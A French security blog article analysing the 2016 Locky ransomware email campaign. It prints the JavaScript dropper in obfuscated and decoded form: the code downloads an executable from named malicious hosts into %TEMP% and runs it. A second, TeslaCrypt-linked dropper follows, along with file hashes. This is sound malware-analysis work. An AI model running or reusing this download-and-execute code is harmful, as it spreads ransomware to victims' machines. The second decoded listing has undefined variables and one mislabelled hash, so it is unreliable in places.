Une campagne de spam de grande envergure semble avoir débutée le 16 Février 2016, son but est de déployer un malware de type CryptoLocker appelé Locky. L’email envoyé aux utilisateurs pour l’infection semble à chaque fois contenir un message concernant une facture qui doit être vérifié par l’utilisateur. Cette soi disant facture prend la forme d’une archive ZIP contenant un fichier Javascript malveillant. Cet article a pour but d’analyser le fonctionnement et le comportement de ce script malveillant.
Vue globale du fonctionnement du dropper Locky
Un dropper est utilisé pour déployer le malware Locky sur la machine de la victime. Le but d’un dropper est d’être exécuté sur le poste de la victime afin de télécharger la véritable charge utile du malware. Dans notre cas, le dropper prend la forme d’un fichier JavaScript qui récupère le binaire de locky puis l’exécute. En résumé l’attaque prend la forme suivante :
Chronologie :
- L’utilisateur reçoit un email dont la pièce jointe (une archive ZIP) est vérolée.
- L’utilisateur ouvre l’archive et ouvre le document qui est dedans.
- Le document dans l’archive est un script Javascript qui télécharge un binaire malveillant.
- Le script exécute le binaire téléchargé
Étape 1 – Mail reçu par l’utilisateur
La première étape se matérialise par un mail envoyé aux victimes concernant une facture qui doit être vérifiée par l’utilisateur. Voici un exemple de mail reçu:
Vous ne voulez plus vous faire avoir par des mails frauduleux ? ATEXIO vous conseille l’article suivant : Ransomware : Ne vous faites plus avoir par les mails frauduleux.
Étape 2 – Archive ZIP reçu via la campagne de spam
La pièce jointe prend la forme d’une archive ZIP contenant un fichier javascript obfusqué. Rien de bien particulier en somme, la charge utile se trouve uniquement dans ce fichier.
Étape 3 – Exécution de la pièce jointe
Sous windows, les fichiers Javascript sont exécutables et un double clic sur le fichier lance son exécution. Le but de ce fichier est de télécharger un fichier malveillant sur le réseau tout en prévenant l’attaquant que l’exécution du dropper s’est correctement déroulée.
Le dropper prend la forme d’un fichier javascript d’une vingtaine de lignes faiblement obfusquées :
var eimwESS= this['\u0041\u0063t\u0069v\u0065XO\u0062j\u0065\u0063\u0074']; var dlvlo = new eimwESS('\u0057\u0053\u0063\u0072\u0069\u0070\u0074\u002ES\u0068el\u006C'); var RrPLJ = dlvlo['\u0045\u0078\u0070\u0061\u006EdE\u006E\u0076\u0069\u0072o\u006Em\u0065\u006Et\u0053\u0074\u0072\u0069\u006E\u0067\u0073']('\u0025\u0054E\u004DP\u0025') + '\u002F\u0071j\u006E\u0079EiC\u0071\u002E\u0065\u0078\u0065'; var rfuvmy = new eimwESS('\u004D\u0053\u0058\u004D\u004C\u0032.\u0058\u004DLH\u0054TP'); rfuvmy['\u006Fnr\u0065a\u0064\u0079\u0073\u0074\u0061te\u0063hang\u0065'] = function() { if (rfuvmy['r\u0065ad\u0079\u0073\u0074at\u0065'] === 4) { var rQIFvheBR = new eimwESS('AD\u004F\u0044\u0042\u002E\u0053\u0074\u0072\u0065a\u006D'); rQIFvheBR['o\u0070e\u006E'](); rQIFvheBR['t\u0079\u0070e'] = 1; rQIFvheBR['wri\u0074\u0065'](rfuvmy['R\u0065\u0073\u0070\u006F\u006E\u0073\u0065\u0042\u006Fd\u0079']); rQIFvheBR['po\u0073\u0069\u0074\u0069\u006F\u006E'] = 0; rQIFvheBR['\u0073\u0061v\u0065To\u0046\u0069\u006Ce'](RrPLJ, 2); rQIFvheBR['\u0063l\u006F\u0073e'](); }; }; try { var kHYAy = 'R\u0075n'; rfuvmy['o\u0070\u0065n']('G\u0045T' , '\u0068\u0074t\u0070:\u002F\u002Fb\u0061\u0072\u006F\u006D\u0065dical.\u0068\u0075/\u006D\u0065di\u0061\u002F\u0038\u0037\u0068\u0037\u0035\u0034', false); rfuvmy['\u0073e\u006Ed'](); dlvlo [kHYAy](RrPLJ, 1, false); } catch (ajg9ggxFs) {};
Comme on peut le voir il semble que les chaînes de caractères soient simplement codées en unicode, il est donc possible de simplifier la lecture du code en décodant les chaînes unicodes puis en modifiant certains noms de variables afin qu’ils soient plus lisibles. Voici le code déobfusqué :
var ActiveXObject= this['ActiveXObject']; var ShellObject = new ActiveXObject('WScript.Shell'); var MalwarePath = ShellObject['ExpandEnvironmentStrings']('%TEMP%') + '/qjnyEiCq.exe'; var HTTPObject = new ActiveXObject('MSXML2.XMLHTTP'); HTTPObject['onreadystatechange'] = function() { if (HTTPObject['readystate'] === 4) { var FileObject = new ActiveXObject('ADODB.Stream'); FileObject['open'](); FileObject['type'] = 1; FileObject['write'](HTTPObject['ResponseBody']); FileObject['position'] = 0; FileObject['saveToFile'](MalwarePath, 2); FileObject['close'](); }; }; try { HTTPObject['open']('GET' , 'http://baromedical.hu/media/87h754', false); HTTPObject['send'](); ShellObject ['Run'](MalwarePath, 1, false); } catch (ajg9ggxFs) {};
Rien de bien compliqué ici. Comme on peut le voir le code semble récupérer un fichier à partir de l’adresse http://baromedical.hu/media/87h754 pour l’écrire dans les fichiers temporaires de l’utilisateur sous le nom qjnyEiCq.exe. Le code javascript demande ensuite l’exécution du fichier fraichement téléchargé.
Étape 4 – Exécution du fichier binaire
D’après une analyse rapide du binaire, il semblerait que celui-ci soit lui même un autre dropper qui vise à désactiver quelques fonctionnalités avant de télécharger la charge utile, à savoir Locky.
Caractéristique de l’exécutable :
- Origine: Téléchargé par le dropper
- Taille: 136 Kb
- MD5: 3f118d0b888430ab9f58fc2589207988
- SHA256: f927efd7cd2da3a052d857632f78ccf04b673e2774f6ce9a075e654dfd77d940
- VirusTotal (40/55 le 26/02/2016 09:08)
- Anubis
- Malwr
Ressemblance entre locky et teslacrypt
Un autre type de dropper plus complexe que celui de Locky, a aussi été retrouvé dans certains mails. Celui-ci chiffre notamment les chaînes de caractères et gère plusieurs liens de téléchargement. Il est donc possible au dropper d’embarquer plusieurs adresses de téléchargement en cas d’indisponibilité de l’une d’entre-elles pour récupérer la charge utile. Le binaire téléchargé semble toutefois être un autre cryptolocker très virulent en ce moment Teslacrypt.
Le code original de ce dropper est disponible ici
Une fois le code déobfusqué et simplifié, voici son contenu:
var execHandler = function() { var execClass = function() { var routpuo = "OkO5hJTa6I"; var invectiveJ42 = "VwbWHDMgEw"; }; execClass.prototype.wshExec = function(wraithZm1) { return wsh["CreateObject"](wraithZm1); }; execClass.prototype.wscriptExec = function(wraithZm1) { return WScript["CreateObject"](wraithZm1); }; return execClass; }(); (function() { var payloads = [ "http://hpareyouhereqq.com/80.exe", "http://hpalsowantsff.com/80.exe"]; var handler = new execHandler(); var execObj = handler["wscriptExec"]; var shellObj = execObj("WScript.Shell"); var httpObject = execObj("MSXML2.XMLHTTP"); var fileObject = execObj("ADODB.Stream"); var tmpPath = shellObj.ExpandEnvironmentStrings("%TEMP%"); var downloadOK = false; for (var i = 0; i < payloads.length; i++) { try { var payloadURL = payloads[i]; httpObject.open("GET", payloadURL, false); httpObject.send(); if (httpObject.status == 200) { try { exaltwRr["open"](); fileObject.type = 1; fileObject["write"](wistfulVue["responseBody"]); if (fileObject.size > 254976) { i = payloads.length; fileObject.position = 0; fileObject.saveToFile(tmpPath + "4194304.exe", 2); downloadOK = true; } } finally { fileObject.close(); } } } catch (ignored) {} } if (downloadOK) { shellObj["Exec"](tmpPath + 4194304); } })();
Encore une fois le dropper va simplement chercher une charge utile avant de l’enregistrer dans le dossier temporaire de l’utilisateur, cette fois ci sous le nom 4194304.exe.
La différence notable avec la première version du dropper est que cette fois ci, il embarque deux adresses de téléchargement:
- http://hpareyouhereqq.com/80.exe
- http://hpalsowantsff.com/80.exe
Comme pour la version précédente, le code javascript demande ensuite l’exécution du binaire. Néanmoins, il semblerait s’agir cette fois-ci directement d’une charge utile.
Caractéristique de l’exécutable :
- Origine: Téléchargé par le dropper
- Taille: 384 Kb
- MD5: da65d4c99d03baa5e6c1534228a8fa680857b313
- SHA256: 3dc83eb96859beb0e783ff7b3f9e48763f1ae62fb672428f40fbfa7eb6698a0f
- VirusTotal (2/55 le 26/02/2016 09:06)
- Anubis
- Malwr
Laisser un commentaire